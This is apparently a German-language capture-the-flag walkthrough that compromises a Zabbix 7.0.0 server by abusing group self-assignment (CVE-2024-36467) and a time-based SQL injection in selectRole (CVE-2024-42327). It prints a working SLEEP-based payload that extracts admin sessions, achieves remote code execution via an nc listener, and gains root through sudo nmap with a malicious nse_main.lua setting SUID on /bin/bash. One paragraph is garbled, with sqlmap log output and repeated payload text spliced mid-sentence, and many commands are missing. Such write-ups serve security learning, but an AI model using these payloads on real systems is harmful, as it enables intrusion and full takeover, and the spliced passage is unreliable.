
Analyse CVE-2024-42327
Ziel: 10.129.231.176
Informationen: Ich weiß, dass mein Ziel ein Zabbix-Server ist. Ich habe ein Standardbenutzerkonto erhalten, um mich in Zabbix anzumelden: Benutzer matthew, Passwort 96qzn0h2e1k3. Dieses Konto hat einen Standardbenutzer ohne zusätzliche Gruppen oder Berechtigungen.
Wie üblich beginnen wir mit der Aufzählung, wir führen einen Portscan mit nmap durch.

Die Ausgabe von nmap zeigt uns, dass der Standard-SSH-Port und Apache2 ebenfalls auf dem Standardport laufen. Außerdem laufen auf den Ports 10051 und 10050 Dienste von Zabbix.
Wir greifen auf Zabbix zu, indem wir die IP in die Browser-URL eingeben, und zwar auf dem Standard-HTTP-Port, Port 80.

Dies ist der Zabbix-Anmeldebildschirm. Ich melde mich mit dem erhaltenen Benutzer an.


In der Fußzeile habe ich die Zabbix-Version gefunden:

Mit Google habe ich recherchiert, ob es bereits eine CVE für diese Zabbix-Version gibt.

Nach langer Recherche sah ich, dass diese Version anfällig für CVE-2024-42327 ist, bei dem es um eine SQL-Injection zum Abrufen von Datenbankdaten und zur Rechteausweitung geht, sowie für CVE-2024-36467, das es erlaubt, die Benutzerrolle auf Superuser zu ändern, indem fehlende Zugriffskontrollen ausgenutzt werden.
https://nvd.nist.gov/vuln/detail/CVE-2024-36467
https://nvd.nist.gov/vuln/detail/CVE-2024-42327
In der Zabbix-Dokumentation wird erklärt, wie man HTTP-Anfragen stellt, um die API aufzurufen.

https://www.zabbix.com/documentation/current/en/manual/api
Ich habe die Anfrage mit dem Aufruf von apiinfo.version gesendet, wie in der Dokumentation beschrieben.

Was uns Folgendes zurückgab:
{"jsonrpc":"2.0","result":"7.0.0","id":1}
Für den nächsten Test habe ich einige Parameter in dieser Anfrage geändert und sie erneut gesendet.

In method habe ich appinfo.version in user.login geändert und die Parameter username und password hinzugefügt. Dies habe ich ebenfalls in der Zabbix-Dokumentation gesehen.

Es wurde ein Token zurückgegeben:
{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}
Nach weiterer Recherche entschied ich mich, das Zabbix-Repository auf GitHub zu besuchen.
https://github.com/zabbix/zabbix
Ich suchte nach CUser und fand eine Datei CUser.php.

Wir fanden die Funktion user.update:
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}
Ich fand keine Autorisierungsprüfung, also beschloss ich, meine Rolle auf Superuser zu ändern. Ich kehrte zur Anfrage zurück und passte das Payload an.

Es wurde ein Fehler mit der Meldung "invalid params" zurückgegeben.
Nach einer erneuten langen Analyse des Codes fanden wir diese Funktion:
/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}
Laut diesem Code-Snippet können wir unsere Rollen nicht ändern, da unsere Rolle überprüft wird, indem unsere Daten aus dem API-Token extrahiert und in der Datenbank verifiziert wird, ob wir dieser Benutzer sind. Aber wenn wir den Code weiterverfolgen, sehen wir, dass usrgrps überhaupt keine Validierung hat, und daher missbraucht werden kann, um uns selbst zu mehreren Gruppen gleichzeitig hinzuzufügen. Es gibt keine Prüfung, die verhindert, dass ein Benutzer sich selbst zu Gruppen hinzufügt, zu denen er keinen Zugriff haben sollte.
Versuchen wir, die fehlende Validierung für eine Rechteausweitung zu nutzen. Ich habe das Payload bearbeitet und die Anfrage erneut gesendet.

userid 3 bezieht sich auf die ID des Benutzers matthew. usrgrps enthält eine Liste von Gruppen-IDs: 13, eine interne Gruppe, und 7, die Zabbix-Administratorengruppe. Die Antwort des Servers bestätigt den Erfolg des Vorgangs:
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}
Jetzt können wir die Benutzergruppen unseres aktuellen Benutzers extrahieren. Wir ändern die Anfrage und senden sie erneut.

Bei der Überprüfung der Antwort sehen wir, dass der Benutzer mit ID 3 in den Gruppen "Zabbix administrators" und "Internal" ist.
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}
In einem Szenario, in dem der Administratorengruppe von Zabbix eine gültige Host-Gruppe zugewiesen wurde, können sie die Erstellung von Items ausnutzen, um eine entfernte Codeausführung (RCE) auszulösen, was im nächsten CVE behandelt wird.
Bei der Analyse des Quellcodes der Klasse CUser untersuchen wir die Funktion user.get in Zeile 68. Zeile 108 enthält eine Prüfung mit folgendem Code:
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}
Aus diesem Code geht hervor: Wenn in der API-Anfrage die Option editable angegeben wird, wird statt der Validierung der Benutzergruppe nur geprüft, ob die aktuelle Benutzer-ID mit dem aktuellen Benutzer übereinstimmt, was die Berechtigungen bei Verwendung von user.get umgeht. In Zeile 234 wird ein Aufruf von addRelatedObjects durchgeführt, die anfällige Funktion, die für SQL-Injection anfällig ist. Bei der Analyse der Funktion addRelatedObject in Zeile 2969 sehen wir, dass die meisten SQL-Anweisungen sicher erscheinen, bis wir zu Zeile 3041 kommen.
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;
In diesem Block wird, wenn die Option selectRole angegeben ist, ein unsicherer Aufruf von DBSelect getätigt, ohne die Benutzereingaben zu bereinigen. Dies führt zu zeitbasierten und Boolean-Blind-SQL-Injection.
Um dies zu testen, nehmen wir ein Payload von diesem Link und validieren, ob wir eine erfolgreiche Injektionsstelle in den selectRole-Parametern haben.

Wir haben einen Treffer erzielt, und das Ziel schläft für 5 Sekunden.
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%
Mit Charles Proxy haben wir die Anfrage abgefangen und in einer Datei mit folgender Anfrage gespeichert:

Jetzt versuchen wir mit SQLMap, mögliche Schwachstellen zu identifizieren und Daten aus der Datenbank zu extrahieren:

Nach einer Weile erhielten wir folgendes Ergebnis:
available databases [2]:
[*] information_schema
[*] zabbix
Laut der Ausgabe haben wir erfolgreich die Datenbanknamen durch Ausnutzung der zeitbasierten SQL-Injection erhalten.
Jetzt versuchen wir das RCE (Remote Code Execution).
Wir können falsch konfigurierte Agents nutzen, um eine entfernte Codeausführung zu erhalten. Um dies von der zeitbasierten SQL-Injection aus zu tun, müssen wir die Sessions-Tabelle in der Datenbank leaken, um zu sehen, ob der Admin-Benutzer authentifiziert wurde. Da es sich um einen zeitbasierten Angriff handelt, kann dies leider etwas dauern, daher habe ich ein Multithread-Skript beigefügt, das die Admin-Session schneller extrahiert, um sie später zu verwenden.
Das Payload sah so aus:

Dies ist eine verschachtelte zeitbasierte SQL-Injection, bei der wir unser Payload in den name-Parameter injizieren und AND anhängen, um die Bedingung zu verketten.
SELECT * FROM (SELECT(SLEEP(...)))BEEF
Wir verwenden eine äußere SELECT-Bedingung, die die SLEEP-Bedingung in einer Unterabfrage mit der Bezeichnung BEEF einkapselt.
SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))
Die SLEEP-Bedingung nimmt den TRUE_TIME-Wert von 1 Sekunde in diesem Skript und extrahiert die sessionid eines aktiven Admin-Kontos, das sich auf der Website oder API authentifiziert hat. Die obige SELECT-Bedingung holt das erste Ergebnis im Index (ROW) 0, das in eine MID-Bedingung eingekapselt ist. Wir verwenden die MID-Bedingung, um das Zeichen an einer bestimmten Position innerhalb der sessionid zu extrahieren, die inkrementiert und in eine ORD-Bedingung eingekapselt wird. Die ORD-Bedingung konvertiert das extrahierte Zeichen in ASCII-Werte zum Vergleich und wird in eine IF-Bedingung eingekapselt. Die IF-Bedingung [17:26:03] [INFO] erweitert automatisch Bereiche für UNION-Abfrage-Injektionstesttechnik, da mindestens eine andere (potenzielle) Technik gefunden wurde [17:26:04] [INFO] Überprüfung, ob der Injektionspunkt im POST-Parameter (benutzerdefiniert) '#1*' ein falsch Positives ist. Der POST-Parameter (benutzerdefiniert) '#1*' ist anfällig. Möchten Sie die anderen (falls vorhanden) weiter testen? [s/N] n sqlmap identifizierte die folgenden Injektionspunkte mit insgesamt 77 HTTP-Anfragen: verfügbare Datenbanken [2]: [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))) prüft, ob das extrahierte Zeichen mit dem erwarteten ASCII-Zeichen (ord(char)) übereinstimmt. Wenn die Bedingung erfüllt ist und die SLEEP-Bedingung ausgelöst wird, haben wir das richtige Zeichen identifiziert und können die 32-stellige sessionid auslesen.
Ich habe ein Python-Skript geschrieben und ausgeführt.


Nach der Ausführung des Skripts sehen wir, dass wir die Admin-Session erfolgreich in nur 30 Sekunden erhalten haben.

Mit dem API-Token des Admin-Benutzers können wir fortfahren, ein Item zu erstellen und das Item dann über einen Task auszulösen. Zuerst müssen wir das Item erstellen, benötigen jedoch die aktuellen Host-IDs sowie deren Interface-IDs.

Wir erhielten die Antwort:
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}
Jetzt können wir ein Item mit folgendem Payload erstellen:

Bevor wir das Payload absenden, richten wir einen nc-Listener auf Port 4448 ein und warten einige Sekunden.

Jetzt ist es Zeit, das Payload abzusenden.

Es hat funktioniert. Der Task wurde mit unserem schädlichen Payload erstellt, und wir haben ein RCE (Remote Code Execution) erreicht. Jetzt haben wir Zugriff auf den Server.

Da wir nun Zugriff auf den Server haben, gehen wir zur Privilege Escalation über. Wir versuchen, Root-Zugriff auf den Server zu erhalten.
Da wir der Benutzer zabbix sind, überprüfen wir, ob wir irgendein Daemon (Programm) mit sudo-Berechtigungen ausführen können:

Wir sehen, dass wir /usr/bin/nmap ohne Einschränkungen ausführen können. Nach einiger Recherche im Internet fand ich das Projekt GTFOBins. GTFOBins ist ein Repository, das Binärdateien auflistet, die in Unix/Linux-Systemen gefunden werden und kreativ für Privilege Escalation, das Entkommen aus eingeschränkten Umgebungen (wie chroot oder Containern) und die Ausführung bösartiger Befehle verwendet werden können.

https://gtfobins.github.io/gtfobins/nmap/#sudo
Wir versuchen, den sudo-Escape von GTFOBins zu verwenden.

Es scheint, dass Nmap durch ein Wrapper-Skript geschützt ist, eine zusätzliche Schutzschicht, die implementiert wurde, um die Verwendung potenziell ausnutzbarer Optionen in Nmap einzuschränken. Versuchen wir, die Datei /usr/bin/nmap zu lesen. Wir öffnen sie mit dem Texteditor nano und analysieren diese Datei.

Nach viel Recherche sah ich, dass alle GTFOBins-Escapes in diesem Szenario nutzlos sind. Sie haben einen Wrapper implementiert, um Nmap vor gängigen Methoden der Privilege Escalation zu schützen. Da mir die Optionen ausgingen, las ich die Nmap-Bibliothek.
Nach einiger Zeit fand ich etwas Interessantes: die Option --datadir.
https://nmap.org/book/data-files-replacing-data-files.html
--datadir <dirname>: Specify custom Nmap data file location
Diese Option erlaubt es, ein Datenverzeichnis anzugeben, in dem Standard-Skripte und andere wichtige Nmap-Dateien gespeichert sind. Der Standard in diesem Fall ist /usr/share/nmap. Schauen wir uns die Berechtigungen dieser Datei an:

Bei der Recherche zu diesen Dateien sah ich, dass die Datei nse_main.lua die Standard-Skriptdatei ist, die mit dem Parameter -sC ausgelöst werden kann. Sie ist die Hauptskriptdatei der Nmap Scripting Engine (NSE). Sie enthält Funktionen, die ausgeführt werden, wenn Nmap mit der Option -sC (Scan mit Standardskripten) verwendet wird. Durch Erstellen eines schädlichen Skripts mit diesem Namen kann erreicht werden, dass Nmap es automatisch ausführt. Um dies auszunutzen, erstellen wir eine neue Datei in /tmp/nse_main.lua mit os.execute("chmod 4755 /bin/bash").
Ich habe die Datei nse_main.lua erstellt, die den Befehl os.execute("chmod 4755 /bin/bash") enthält.
4755: Setzt das SUID-Bit (Set User ID) auf die Binärdatei /bin/bash. Dies erlaubt jedem Benutzer, der /bin/bash ausführt, die gleichen Berechtigungen wie der Eigentümer der Datei, der root ist.


Wenn wir localhost mit aktiviertem -sC scannen, setzen wir /bin/bash auf SUID und generieren eine Shell mit der effektiven UID des root-Benutzers.

--datadir=/tmp: Bewirkt, dass Nmap seine Konfigurationsdateien und Skripte im Verzeichnis /tmp sucht. Dies schließt das bösartige Skript nse_main.lua ein.
-sC: Aktiviert die Ausführung von Standardskripten, einschließlich des soeben erstellten bösartigen Skripts.
localhost: Lässt Nmap den Scan auf dem eigenen System ausführen.
Das Skript nse_main.lua wird von Nmap mit root-Berechtigungen ausgeführt (da der Befehl mit sudo ausgeführt wurde).

Mit aktiviertem SUID können wir ausführen: /bin/bash -p

-p: Erhält das SUID-Bit und führt bash mit den Berechtigungen des Eigentümers (root) aus.

uid=114: Identität des Benutzers zabbix. euid=0: Effektiv als root arbeitend.
Jetzt haben wir Root-Rechte erlangt.